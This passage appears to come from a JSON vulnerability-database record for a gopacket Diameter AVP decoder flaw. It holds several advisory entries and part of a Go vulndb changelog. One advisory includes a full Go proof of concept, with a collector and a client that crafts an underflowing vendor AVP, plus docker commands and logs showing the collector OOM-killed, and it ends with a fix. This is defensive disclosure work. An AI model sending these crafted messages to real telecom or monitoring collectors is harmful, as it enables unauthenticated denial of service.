0x00)\n\t\t}\n\t}\n\tmsgLen := uint32(20 + len(avp))\n\thdr := make([]byte, 20)\n\thdr[0] = 0x01 // Version 1\n\thdr[1] = byte(msgLen \u003e\u003e 16)\n\thdr[2] = byte(msgLen \u003e\u003e 8)\n\thdr[3] = byte(msgLen)\n\thdr[4] = 0x80 // Command Flags: Request\n\thdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257\n\treturn append(hdr, avp...)\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tavpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := craft(uint32(avpLen), benign)\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"dial error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\\n\",\n\t\tlen(data), avpLen, benign)\n\tbuf := make([]byte, 1)\n\tconn.SetReadDeadline(time.Now().Add(3 * time.Second))\n\tconn.Read(buf)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected.\n\nNegative control (benign message, vendor AVP `Length=16`, `dataLength=4`):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign\n[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)\n\n# collector log:\n[collector] received 36-byte Diameter message from 172.19.0.3:53216\n[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1\n# collector status: running (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack message #1 (malicious, vendor AVP `Length=8` -\u003e `8-12` underflow -\u003e ~4 GiB make):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# collector log:\n[collector] received 32-byte Diameter message from 172.19.0.3:53230\n[collector] no Diameter layer decoded\n# collector status after #1: running (the single ~4 GiB make panics on the\n# subsequent out-of-bounds copy and is recovered before physical pages commit);\n# RSS 6.5 MiB\n```\n\nAttack message #2 (same malicious message again):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# container final state:\nStatus=exited OOMKilled=true ExitCode=137\n```\n\nTwo malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (`OOMKilled=true`, exit 137). A single message is recovered by the default decoding API and the process survives, but the second `make([]byte, 4294967292)` commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.\n\nIn-process measurement confirms the per-message allocation: feeding the same 32-byte message through `gopacket.NewPacket(..., gopacket.Default)` shows a `runtime.MemStats` `TotalAlloc` delta of 4096 MB, i.e. the `make([]byte, 4294967292)` genuinely executes on every message before the copy panics.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.\n\n## Suggested fix\n\nAfter `headerSize` is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing `dataLength`:\n\n```go\nif avp.Length \u003c uint32(headerSize) {\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d, smaller than header size %d\", avp.Length, headerSize)\n}\n```\n\nThis mirrors the existing `avp.Length \u003c 8` check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream `go test ./layers -run Diameter` suite (9 tests) still passes and valid vendor AVPs parse unchanged.","status":"published","published":"2026-07-28T16:14:36Z","modified":"2026-07-28T16:14:37Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-191","CWE-770"],"updated_at":"2026-11-02T14:40:53.707378Z"}],"nvd":[{"id":"CVE-2026-54345","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the Diameter AVP decoder computes an AVP data length by subtracting a fixed header size from an attacker-controlled AVP Length field, so a vendor-flagged AVP whose Length is smaller than the 12-byte header underflows the unsigned 32-bit value and drives an unbounded allocation of roughly 4 GiB, and two such messages in succession OOM-kill a collector, causing an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T17:16:51.4Z","modified":"2026-08-05T19:04:17.91Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-191","CWE-770"],"updated_at":"2026-11-02T14:12:33.249634Z"}],"osv":[{"id":"CVE-2026-54345","title":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the Diameter AVP decoder computes an AVP data length by subtracting a fixed header size from an attacker-controlled AVP Length field, so a vendor-flagged AVP whose Length is smaller than the 12-byte header underflows the unsigned 32-bit value and drives an unbounded allocation of roughly 4 GiB, and two such messages in succession OOM-kill a collector, causing an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T16:14:12.097Z","modified":"2026-10-28T02:30:55.090436454Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-191","CWE-770"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"GHSA-6r28-9ppf-4hj5","title":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)","description":"## Summary\n\nThe Diameter AVP decoder in `github.com/gopacket/gopacket` computes `dataLength := avp.Length - uint32(headerSize)` without first ensuring `avp.Length \u003e= headerSize`. When the Vendor flag is set, `headerSize` is 12, but the only length guard upstream rejects `avp.Length \u003c 8`. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the `uint32` subtraction to ~4,294,967,292, which is passed straight to `make([]byte, dataLength)`. A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -\u003e CWE-770 unbounded allocation).\n\n## Root cause (file:line @ v1.6.0)\n\n`layers/diameter_avp_decoders.go`, `decodeDiameterAVP`:\n\n```go\navp.Length = uint32(data[5])\u003c\u003c16 | uint32(data[6])\u003c\u003c8 | uint32(data[7]) // 24-bit wire value\n\nif avp.Length \u003c 8 {                       // only rejects \u003c 8\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d\", avp.Length)\n}\n\nheaderSize := 8\ndataOffset := 8\nif avp.Flags.Vendor {                     // Vendor flag = wire bit data[4] \u0026 0x80\n    if len(data) \u003c 12 { ... }\n    avp.VendorID = binary.BigEndian.Uint32(data[8:12])\n    headerSize = 12                       // header is now 12, but only \u003e= 8 was checked\n    dataOffset = 12\n}\n\npaddedLength := avp.Length                // equals avp.Length; for avp.Length \u003c= 12\nif avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }\nif uint32(len(data)) \u003c paddedLength {     // only requires ~12 bytes present\n    return DiameterAVP{}, 0, fmt.Errorf(\"AVP data truncated: ...\")\n}\n\ndataLength := avp.Length - uint32(headerSize)  // 8 - 12 = uint32 underflow = 4294967292\navp.Data = make([]byte, dataLength)            // make([]byte, ~4.29e9) ~= 4 GiB\ncopy(avp.Data, data[dataOffset:dataOffset+int(dataLength)])  // out-of-bounds slice -\u003e panic\n```\n\nFor `avp.Length` in `{8, 9, 10, 11}` with the Vendor flag set: the `avp.Length \u003c 8` guard passes, `paddedLength == avp.Length` so only `avp.Length` bytes must be present, and `dataLength = avp.Length - 12` underflows the `uint32`. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The `make` executes before the `copy`, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.\n\n## Reachability (remote attacker -\u003e sink)\n\n`LayerTypeDiameter` is a registered decoder (`layertypes.go:159`, `RegisterLayerType(154, ... decodeDiameter)`):\n\n`decodeDiameter` -\u003e `(*Diameter).DecodeFromBytes` (diameter.go:118) -\u003e parses the 20-byte header -\u003e `avpData := data[20:d.MessageLength]` -\u003e AVP loop `decodeDiameterAVP(avpData)` (diameter.go:158) -\u003e sink at `diameter_avp_decoders.go:57`.\n\nDiameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via `gopacket.NewPacket(data, LayerTypeDiameter, ...)`. The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\nNote on consumer behavior (measured end-to-end against a deployed collector, see PoC):\n\n- A collector using the recovering `gopacket.NewPacket(..., gopacket.Default)` API survives a *single* malicious message: the ~4 GiB `make([]byte, dataLength)` runs (in-process `runtime.MemStats` shows a 4096 MB `TotalAlloc` delta per message), but the immediately-following out-of-bounds `copy` panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an `ErrorLayer`, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.\n- **Two malicious messages in succession reliably OOM-kill the collector** under a 256 MB cap: the second `make` commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (`OOMKilled=true`, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).\n- Consumers that call `DecodeFromBytes` directly (common in performance-sensitive collectors) or set `SkipDecodeRecovery: true` additionally get an uncaught panic / crash on the first message.\n\nIn all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at the v1.6.0 tag, `layers/diameter_avp_decoders.go:56-58`).\n\n### Collector (real TCP Diameter collector)\n\n```go\n// collector.go — accepts a TCP connection, reads one Diameter message (framed by\n// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted\n// at LayerTypeDiameter and accesses the layer, which drives the registered\n// Diameter decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc readDiameterMessage(conn net.Conn) ([]byte, error) {\n\thdr := make([]byte, 20)\n\tif _, err := io.ReadFull(conn, hdr); err != nil {\n\t\treturn nil, err\n\t}\n\tmsgLen := uint32(hdr[1])\u003c\u003c16 | uint32(hdr[2])\u003c\u003c8 | uint32(hdr[3])\n\tif msgLen \u003c 20 {\n\t\treturn hdr, nil\n\t}\n\tfull := make([]byte, msgLen)\n\tcopy(full, hdr)\n\tif _, err := io.ReadFull(conn, full[20:]); err != nil {\n\t\treturn nil, err\n\t}\n\treturn full, nil\n}\n\nfunc main() {\n\tln, err := net.Listen(\"tcp\", \"0.0.0.0:3868\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer ln.Close()\n\tfmt.Printf(\"[collector] Diameter collector listening on tcp %s\\n\", ln.Addr())\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfunc() {\n\t\t\tdefer conn.Close()\n\t\t\tdata, err := readDiameterMessage(conn)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Printf(\"[collector] received %d-byte Diameter message from %s\\n\", len(data), conn.RemoteAddr())\n\t\t\tpkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)\n\t\t\tif d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {\n\t\t\t\tfmt.Printf(\"[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\\n\",\n\t\t\t\t\td.Version, d.CommandCode, d.MessageLength, len(d.AVPs))\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"[collector] no Diameter layer decoded\\n\")\n\t\t\t}\n\t\t}()\n\t}\n}\n```\n\n### Client (independent process, real TCP socket, no gopacket dependency)\n\nThe client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is `avpLen`. With the Vendor flag set, the decoder's `headerSize` becomes 12; for `avpLen` in `{8,9,10,11}` the `dataLength = avpLen - 12` subtraction underflows. For the benign case `avpLen \u003e= 12` so the AVP carries `avpLen-12` real bytes and parses cleanly.\n\n```go\n// client.go — usage: client \u003caddr\u003e \u003cavpLen\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"time\"\n)\n\nfunc be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }\n\nfunc craft(avpLen uint32, benign bool) []byte {\n\tavp := []byte{}\n\tavp = append(avp, be32(1)...) // AVP Code = 1\n\tavp = append(avp, 0x80)       // Flags: Vendor bit set -\u003e headerSize becomes 12\n\tavp = append(avp, byte(avpLen\u003e\u003e16), byte(avpLen\u003e\u003e8), byte(avpLen)) // 24-bit Length\n\tavp = append(avp, be32(0)...) // VendorID\n\tif benign {\n\t\tdataLen := int(avpLen) - 12\n\t\tif dataLen \u003c 0 {\n\t\t\tdataLen = 0\n\t\t}\n\t\tpadded := dataLen\n\t\tif padded%4 != 0 {\n\t\t\tpadded += 4 - padded%4\n\t\t}\n\t\tfor i := 0; i \u003c padded; i++ {\n\t\t\tavp = append(avp, 0x42)\n\t\t}\n\t} else {\n\t\tfor len(avp) \u003c 12 {\n\t\t\tavp = append(avp, 0x00)\n\t\t}\n\t}\n\tmsgLen := uint32(20 + len(avp))\n\thdr := make([]byte, 20)\n\thdr[0] = 0x01 // Version 1\n\thdr[1] = byte(msgLen \u003e\u003e 16)\n\thdr[2] = byte(msgLen \u003e\u003e 8)\n\thdr[3] = byte(msgLen)\n\thdr[4] = 0x80 // Command Flags: Request\n\thdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257\n\treturn append(hdr, avp...)\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tavpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := craft(uint32(avpLen), benign)\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"dial error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\\n\",\n\t\tlen(data), avpLen, benign)\n\tbuf := make([]byte, 1)\n\tconn.SetReadDeadline(time.Now().Add(3 * time.Second))\n\tconn.Read(buf)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected.\n\nNegative control (benign message, vendor AVP `Length=16`, `dataLength=4`):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign\n[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)\n\n# collector log:\n[collector] received 36-byte Diameter message from 172.19.0.3:53216\n[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1\n# collector status: running (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack message #1 (malicious, vendor AVP `Length=8` -\u003e `8-12` underflow -\u003e ~4 GiB make):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# collector log:\n[collector] received 32-byte Diameter message from 172.19.0.3:53230\n[collector] no Diameter layer decoded\n# collector status after #1: running (the single ~4 GiB make panics on the\n# subsequent out-of-bounds copy and is recovered before physical pages commit);\n# RSS 6.5 MiB\n```\n\nAttack message #2 (same malicious message again):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# container final state:\nStatus=exited OOMKilled=true ExitCode=137\n```\n\nTwo malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (`OOMKilled=true`, exit 137). A single message is recovered by the default decoding API and the process survives, but the second `make([]byte, 4294967292)` commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.\n\nIn-process measurement confirms the per-message allocation: feeding the same 32-byte message through `gopacket.NewPacket(..., gopacket.Default)` shows a `runtime.MemStats` `TotalAlloc` delta of 4096 MB, i.e. the `make([]byte, 4294967292)` genuinely executes on every message before the copy panics.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.\n\n## Suggested fix\n\nAfter `headerSize` is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing `dataLength`:\n\n```go\nif avp.Length \u003c uint32(headerSize) {\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d, smaller than header size %d\", avp.Length, headerSize)\n}\n```\n\nThis mirrors the existing `avp.Length \u003c 8` check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream `go test ./layers -run Diameter` suite (9 tests) still passes and valid vendor AVPs parse unchanged.","status":"published","published":"2026-07-28T16:14:36Z","modified":"2026-09-10T03:51:10.808500182Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-191","CWE-770"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"UBUNTU-CVE-2026-54345","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the Diameter AVP decoder computes an AVP data length by subtracting a fixed header size from an attacker-controlled AVP Length field, so a vendor-flagged AVP whose Length is smaller than the 12-byte header underflows the unsigned 32-bit value and drives an unbounded allocation of roughly 4 GiB, and two such messages in succession OOM-kill a collector, causing an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T17:16:00Z","modified":"2026-10-17T12:58:36.152232394Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"GO-2026-6121","title":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS) in github.com/gopacket/gopacket","description":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS) in github.com/gopacket/gopacket","status":"published","published":"2026-08-18T14:32:29Z","modified":"2026-08-18T15:00:19.857492387Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 